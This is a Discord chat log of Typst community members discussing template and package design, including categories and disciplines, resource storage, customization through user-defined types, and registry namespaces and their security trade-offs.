Yeah but what about thsoe that have the versions in source

#

Doesn't deno do this? I remember this being mentioned as an inspiration for the single file package import thing to avoid many places where one must update a package

hoary thunder
main thicket
#

Well it's not specific to templates, it's specific to packages too when it comes to examples

#

So I would say it is not a blocker for templates

hoary thunder
#

We have removed the notion of starting points from the template system. Instead of [[template.start]], it is just [template] now in typst.toml. The idea of starting points was to provide different entry configurations for a project, but we have decided that the current starting point design isn't the best way to achieve this.

Rather, it would be better both for users and maintainers to have just one template that can be configured through CLI questions or app GUI to yield the initial setup through some sort of templating system (which is an idea that has also come up before in discussions here). However, we also think that this is out of scope for now and can be added later.

novel torrent
#

This is a step in the right direction, I think. Templates really kind of came out of the blue trying to anticipate every way in which they will be used in their design. Leaving open questions for later is a good thing

hoary thunder
sharp birch
#

I just wanted to say about cargo-generate. You can write a TOML file where you write your interactive questions that change the way your cargo project will look. It also requires a template directory to instantiate the project. I think creating something similar to cargo-generate.toml would be cool/easy. Each question will require about 5 lines of TOML syntax. The problem with cargo-generate now is that it for some reason can't use the default values that you can specify in the file. But I opened an issue about that. But it creates cargo projects, so for typst projects probably something is gotta be built from scratch. However for interaction part (in my small projects) I used dialoguer which was great, but the only problem is that you can't specify custom keymaps like in Python's alternative libraries. The main problem I had is that some Vim-like keymaps didn't exist, but in some cases they do exist by default or via a bool toggle. But overall it's nice and easy to use/code.

hoary thunder
#

#1176122103355953162 message

sharp birch
#

Yeah, I read that, but "can be added later" can mean anything, and I'd rather share my thoughts now, then forget when "later" will become "now".

main thicket
#

can be configured through CLI questions or app GUI
sounds like a good choice in the long run

sharp birch
#

I would say the best, because I didn't see anything better yet. Plus, if you have a file with your preferred default answers, or you can send them via CLI options to ultimately skip the interaction part, then it would be a cherry on top.

hoary thunder
#

We talked a bit more about categories and had the following thoughts:

The original category design had more specific ones like physics, but then larger groupings like arts (or humanities). We were aware that this would likely be a point of contention, but did it like this because we neither wanted to adds tons of categories for every discipline that would drown out the other categories nor did we feel like it would make sense to group everything more broadly (e.g. putting physics, biology and chemistry into one bucket), so this was a compromise.

However, while this approach keeps the amount of categories manageable, we're unsure how useful e.g. a humanities category would really be for users. It's such a broad grouping that most packages in it would probably not apply to most people that would be interested in the category in the first place.

To deal with this, we had the following idea: What if we reserve categories purely for functional distinctions and to group by field we add a second optional TOML key disciplines = [..]. For this key, we could then compile a more comprehensive list of disciplines without need for awkward grouping. It would also not need any hierarchical grouping (like MIME types), which sounds nice in principle, but would be very hard to actually do in a way that everyone agrees with (as mentioned, even just Wikipedia has a bunch of different taxonomies of academic fields).

The online package storefront would then allow for filtering by either one and it would only list those disciplines for which at least one package already exists. We're bound to miss some disciplines in the list, so getting a new one added would be a simpler process than adding a new category. That'd be fine because it would be much less of a curated list.

Thoughts on this?

cc: @tidal pumice @sleek halo @main thicket @novel torrent @scarlet nacelle @mild carbon (people who commented on this topic before)

main thicket
#

so examples for categories under this would be more things like cv template/thesis template/etc and disciplines could be as granular as a necessary having things like art (broad) or modern-art (more specific)?

hoary thunder
main thicket
#

yeah taht matches what i thouht, i took art as an example as it was mentioned before

novel torrent
hoary thunder
#

Let's say you are a physicist and want find out what kind of packages are already there for you and then it doesn't work because every single package uses some slightly different methodology for its keywords.

#

So basically: keywords are good when you're searching for something specific, categories are good for just exploring.

novel torrent
#

I would hope for us to naturally settle into some scheme or other

hoary thunder
#

Even if that would happen (which I'm not so sure it would), there wouldn't be a nice way to expose that as UI I think.

main thicket
#

you could in theory offer the keywords and categories as their own entities a package is linking itself too

#

and allow users to contribute descriptions and such for new keywords/categories?

#

so they become easier to explore

novel torrent
novel torrent
hoary thunder
#

Also, if a category is really missing, we can always add more

#

But, in general, to me this just seems like something that should be standardized

#

Think of the categories like in an online marketplace. If you sell on Amazon or ebay you also can't invent your own category because that would not be a great user experience and sort of defeat the purpose of having categories in the first place.

#

crates.io also works like that for a more programming-related example

main thicket
#

yeah

#

they do have sub categories though

#

since it was mentioned that some categories were too broad

hoary thunder
#

they also have a few more products than we have packages 😅

#

start small and expand later would be my gut feeling

main thicket
#

yeah adding sub categories should be backwards compatible

#

so disciplines would also be standardized?

hoary thunder
#

mac app store for instance didn't need that many categories

Bildschirmfoto_2024-03-04_um_16.53.37.png
#

(sorry for the german)

hoary thunder
main thicket
#

ok i see

hoary thunder
#

but we need to prevent overlap because otherwise people won't find what they're looking for

main thicket
#

I'm just wondering, what if a discipline was added taht simply turns out to be too broad for accurate search

#

and new ones are added which are more granular

hoary thunder
#

that's why we didn't want to group to broadly with the disciplines

#

I don't think we'd ever need to split e.g. physics

main thicket
#

it's a wide field

hoary thunder
#

And the concept of one academic field seems reasonable well-defined to me (as opposed to a full taxonomy of academia)

main thicket
#

but i get what you mean

hoary thunder
#

yes, but there's still search and so on

#

and keywords

#

the categories are really just for broad discoverability

main thicket
#

seems reasonable to me

scarlet nacelle
# hoary thunder We talked a bit more about categories and had the following thoughts: The origi...

I really like this idea. I think the one requirement is just that it's discoverable for package authors to know that they can request a new discipline on i.e. submitting a package.

Maybe on the browsing page the disciplines filter could have a note:

Feel free to suggest a new discipline when submitting a package!

Then have some sort of checkbox in the github pacakge submission:

This package contains a new discipline, I recognize that Typst will try to accomodate adding new disciplines that are disctinct, but will review disciplines manually to prevent abuse/misuse.

sharp birch
#

to prevent abuse/misuse.
and/or fracturing.

scarlet nacelle
#

Alos glad to see that it's already a list and not just one keyword. We stan multidisciplinaries

scarlet nacelle
sharp birch
#

I think it's a very popular (but not a really positive) word in FOSS world. I also didn't know (that you can use it) about this a few years ago.

scarlet nacelle
#

Also, I talked to a psychologist friend the other day and they had very strong opinions on the differences between the humanities and the social sciences. Would be a big issue to not be able to link both separately. Having an easier way to add new disciplines is a great step to being welcoming to groups we don't represent, and I appreciate this commitment towards inclusivity.

#

(and obviously it's even better to get more specific than just humanities/social science)

hoary thunder
#

There is a new discipline list in the PR now and slightly revised categories. We've also added additional guidance for picking template licenses to ensure that the dumped template contents can be used freely by users without getting into license troubles.

hoary thunder
#

Templates and typst init are merged 🎉

main thicket
#

do we simply hope a user has the right font installed or do we ship them with the template to be sure 😂

tidal pumice
#

at the moment it will have to be the former

main thicket
#

what if their pc or the webapp has a different name for the font

#

yeah i figured

tidal pumice
#

we need resources for the latter

main thicket
#

unfortunately if fonts are included the message after init is deceiving

#

as it requires a parameter to work

main thicket
#

the user could just

#

download the incorrect font

#

can't wait for font packages to pop up once we have resources xddd

tidal pumice
main thicket
#

as another dependency?

#

or as an input to its function

#

the latter is error prone

#

the former works but likely bloats the package repo once resources exist

tidal pumice
main thicket
#

probably yeah

#

I haven't considered resources as possible packages, but it honestly makes sense.

#

I think resources should definitely be the next thing to get done, with template PRs comming in we could get a lot of duplicate resources and those are quite hefty even if not duplicated.

hoary thunder
main thicket
#

yeah

#

at the start i tried linking to my original repos manual to reduce the bloat

#

but i forgot or messed up the permalinks

novel torrent
#

It could be reasonable to add the upstream repo as a submodule somehow

hoary thunder
#

in the future we'll just store tar.gz files directly on a web storage. like cargo.

drifting wadi
#

How many old versions of each package will you store? All? Only those that are still referenced in other "latest" packages? A fixed number of versions or years of history?

main thicket
#

when submitting a package you basically agree to your package not being removed for just any reason

#

so i assume all of them

hoary thunder
drifting wadi
#

That might grow a lot... taking into account pdfs, resources, wasm binaries,...

drifting wadi
tidal pumice
#

worst case you will get a couple hundred gigabytes?

#

but that's totally manageable

#

in fact the entire crates.io archive I have stored locally is just 100GiB large

drifting wadi
#

Just 100g, not more?

tidal pumice
#

yep

drifting wadi
#

What is the size range of those wasm binaries typically?

proper atlas
#

anywhere from 200kb to 5mb

main thicket
tidal pumice
drifting wadi
#

That sounds ok

undone minnow
#

Binaries that are too large get rejected

drifting wadi
#

You could allow binaries as source and compile on the fly 🥵

tidal pumice
#

well that sounds more resource intensive in every way

main thicket
#

Yeah they also can't just compile every language which targets wasm

novel torrent
#

but also I don't really like storing compiled wasm. Something off about it

#

even though it's sandboxed. Like I want to see what the package is doing sometimes

mild carbon
novel torrent
#

yeah I understand, but I don't really love that

#

I would like it if every public Typst package were open source, and using wasm really complicates thay

mild carbon
#

It's just reality

main thicket
#

do OSI licenses permit proprietery blobs?

dawn ermine
#

How would you add multiple templates to a package? Or is this not possible yet?

main thicket
#

you currently can't

#

the original proposal for templates had multiple entrypoints which would be the starting directory content scaffolding

#

but it was removed for clarity as an onboarding process can be added lateron which would let the user choose options

#

you can however still provide more than one style in a template package, just the initial directory setup is fixed to one

dawn ermine
#

ok i see, was just wondering because i read in the proposal that it would be possible, but couldn't find it anywhere.

torpid lodge
hoary thunder
#

While this is of course slightly less convenient for package authors as they will have to create multiple packages, we think it will create a better and clearer user experience. A package name will refer to exactly one template, each template has proper metadata and a thumbnail, etc.

dawn ermine
# hoary thunder While this is of course slightly less convenient for package authors as they wil...

Yeah i understand the point of clearification with multiple packages for each usecase. In my case i have a utility package for my school lessons (only local) which i use in multiple templates. One for exams one for worksheets, ... So it would have been convienent for me to pack them together in one package. But having templates at all is a big step forward, so i guess i can live with creating multiple template packages 😉

dawn ermine
#

Just a short question on categories. Don't know if this was discussed already, but as there are some templates and packages for education purpose, like creating exams, etc.... an "education" category would make sense in my opinion.

sleek halo
dawn ermine
#

Ah i missed the one in discipline, thanks 😉

hoary thunder
#

I'd like to start a discussion about how we can make templates a bit easier to customize. Right now, it's often the case that a single thing you don't like means you have to fork/copy the template. Here is an example of what I mean: https://github.com/typst/templates/pull/36

I feel like all the building blocks are in the language, we just need to figure out a better way for templates to grant this flexibility, that isn't adding extra arguments for everything.

cc: @mental gulch who also mentioned something similar recently.

deep pewter
#

I feel the templates should be allowed more customization points by custom elements.

#import "template": appreciate-letter-elem, appreciate-letter-rule
#show appreciate-letter-elem.main-body: set text(font: "Font1")
#show appreciate-letter-elem.appendix: set text(font: "Font2")
#show: appreciate-letter-rule.with(...)

When they implement an appreciate-letter-rule, they can wrap showed content with elements:

#let appreciate-letter-rule(content, appendix: []) = appreciate-letter-elem(
  appendix: appendix,
  main-body: process(content)
)

appreciate-letter-elem and appreciate-letter-rule may be combined into a single element appreciate-letter, but it should further depend on how we design custom elements.

sleek halo
#

I also think that custom elements/user types are the right vehicle to allow this - even though they're still a while off (at least, it seems so to me)

main thicket
#

I generally try to separate the components of my template as well as the styles applied to them as much as possible, but it makes the internal api cumbersome and complicated

#

And doesn't always solve the problem of lack of customization too

hoary thunder
#

if yes, then custom types with context would solve that probably (see #quick-questions message)

main thicket
#

Possible but cumbersome

#

The alternative is the user recreating the top level template using the other smaller components and overriding the styles for one

#

We're these custom elements, we could simply change the styles with show set of course

#

And that's why I build them up like that, because i figured this is how I have an ok API now and a great API later

civic brook
mental gulch
#

I agree with what has been said above. Many issues can be solved with rules on user-defined types (if they are used correctly to expose details about the template). This keeps composability and allows for much more fine-grained customization.

I'd like to add another issue which is not solved by user-defined types and this is the page setup (for example margins). If a template does not expose the parameters it uses when calling set page(), they cannot be changed (for the first page).

#

Oh and revoke rules will of course also be a helpful tool once they are available (or something equivalent).

mental gulch
# hoary thunder I'd like to start a discussion about how we can make templates a bit easier to c...

I want to make a suggestion that also solves the issue with the page setup described above.

What if the template itself is a user-defined type instead of an ordinary function? I.e. the template package defines

#type project {
  field accent-color = red
  ...

  show: it => {
    // here comes the actual template function
  }
}

As an example, the designer of the template would not call page setup in there but instead use

#show project: set page(margin: 1em)

etc. The user of the template could then override this setting

#show project: set page(margin: 2em)
#show: project // just as usual.

This even works for the first page.

Other types defining (and enabling customization for), e.g., the title could be nested types of the (here) project type, improving on namespacing.

#

Proof-of-concept

#

?render pagesize=default


// in template.typ
#let project = block // demo hack. `project` is its own type
#show project: it => {
  align(center, text(2em)[The Title])
  it
}
#show project: set page(margin: 0pt)


// in main.typ

#show project: set page(margin: 1em)
#show: project
 Here comes the content
sonic vigilBOT
hoary thunder
fresh hornet
main thicket
#

It's not a current focal point I believe

#

Funny that we were talking about namespace before that message you replied to, I just recently saw a design doc on crates.io for package namespace that can be treated as submodules to existing packages

#

Reference level explanation can be found here

hoary thunder
#

Regarding an @community namespace in universe
This is all still in flux, but it's not set in stone that there even will be multiple namespaces in the public registry. I'm not a huge fan of them as they make migrating ownership unnecessarily breaking and distributing the namespace names is even harder than distributing the package names. The way I currently imagine it would just be a single @universe namespace that supersedes @preview (potentially with changes) while @preview remains for compatibility. Other namespaces would then remain available for private use and potentially private registries.

sleek halo
#

Other namespaces would then remain available for private use and potentially private registries.

A propos private package registries – private packages are currently something supported by the web app but not by the open source compiler, blocked on overhauls to the packaging system. Is it safe to say that the compiler will eventually be able to fetch from different registries configured in some way, without compiling your own version?

mild carbon
#

Could the universe namespace have a shorter name?

hoary thunder
mild carbon
hoary thunder
main thicket
#

most of it is completed anyway when you type @package-name

fresh hornet
# hoary thunder > Regarding an `@community` namespace in universe This is all still in flux, but...

Just an idea for the name space and package situation.

Reserve some namespaces for universe etc.
Then being able to "add" registries with each having a name/namespace, a local package dir and an executable/command that gets called by typst for downloading new packages.

This would enable to build custom registries/package managers. These could fetch from any kind of source like local NAS, ftp, cloud, custom registry.

Although this could be a risk for double namespaces.

main thicket
#

Hosting a registry that defers to a NAS or an FTP server would work just as well

#

Shelling out doesn't seem like a nice solution

fresh hornet
fresh hornet
main thicket
fresh hornet
# main thicket It poses the same security issues that fetching images from the web does, which ...

Yes it would. But not equally. When you install a package manager it should be clear that this is a security risk and you should warn about it when adding it to the config. I dont think it is a solution for the normal user. It would be an advanced technical solution.

For the sake of security you could even make a compiler flag like --external-package-manager so that it would be explicit when compiling a document.

sleek halo
# fresh hornet Just an idea for the name space and package situation. Reserve some namespaces ...

iiuc, your concern is that registries should not only be hostable on a web server over http(s)? Or something else?

Currently, the "protocol" is that there is a file at https://packages.typst.org/preview/index.json that lists all packages available in the registry, and archives such as https://packages.typst.org/preview/example-0.1.0.tar.gz next to it. The security benefit is that a malicious package can not make Typst request arbitrary package names, only ones that actually exist in the registry.

As long as the location for the index and archives is not limited to https, but could be accessed over ftp and other protocols, would that be sufficient for you?

main thicket
#

A yes-man flag will not make this any safer, the most common way to hack people in the office is through word or excel macros that people just click "yes - enable" on

Arbitrary execution even if gates behind flags is simply not a good idea

#

I also don't think hosting a registry is that complicated, especially since once a protocol is agreed upon people will make hosting these easy

#

Even those that allow you to defer to other things from a locally running shim registry

fresh hornet
sleek halo
#

I think then it's pretty easy to support without requiring Typst to call arbitrary untrusted code 🙂